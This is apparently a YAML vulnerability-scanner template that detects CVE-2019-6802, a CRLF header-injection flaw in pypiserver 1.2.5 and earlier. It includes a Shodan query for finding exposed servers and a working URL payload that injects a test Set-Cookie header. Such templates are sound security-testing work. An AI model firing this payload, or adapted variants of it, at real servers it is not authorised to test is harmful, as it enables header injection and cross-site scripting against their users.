id: CVE-2019-6802

info:
  name: Pypiserver <1.2.5 - Carriage Return Line Feed Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Pypiserver through 1.2.5 and below is susceptible to carriage return line feed injection. An attacker can set arbitrary HTTP headers and possibly conduct cross-site scripting attacks via a %0d%0a in a URI.
  reference:
    - https://vuldb.com/?id.130257
    - https://github.com/pypiserver/pypiserver/issues/237
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6802
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-6802
    cwe-id: CWE-113
  metadata:
    max-request: 1
    shodan-query: html:"pypiserver"
    verified: true
  tags: cve,cve2019,crlf,generic,pypiserver

http:
  - method: GET
    path:
      - "{{BaseURL}}/%0d%0aSet-Cookie:crlfinjection=1;"

    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: crlfinjection=1;'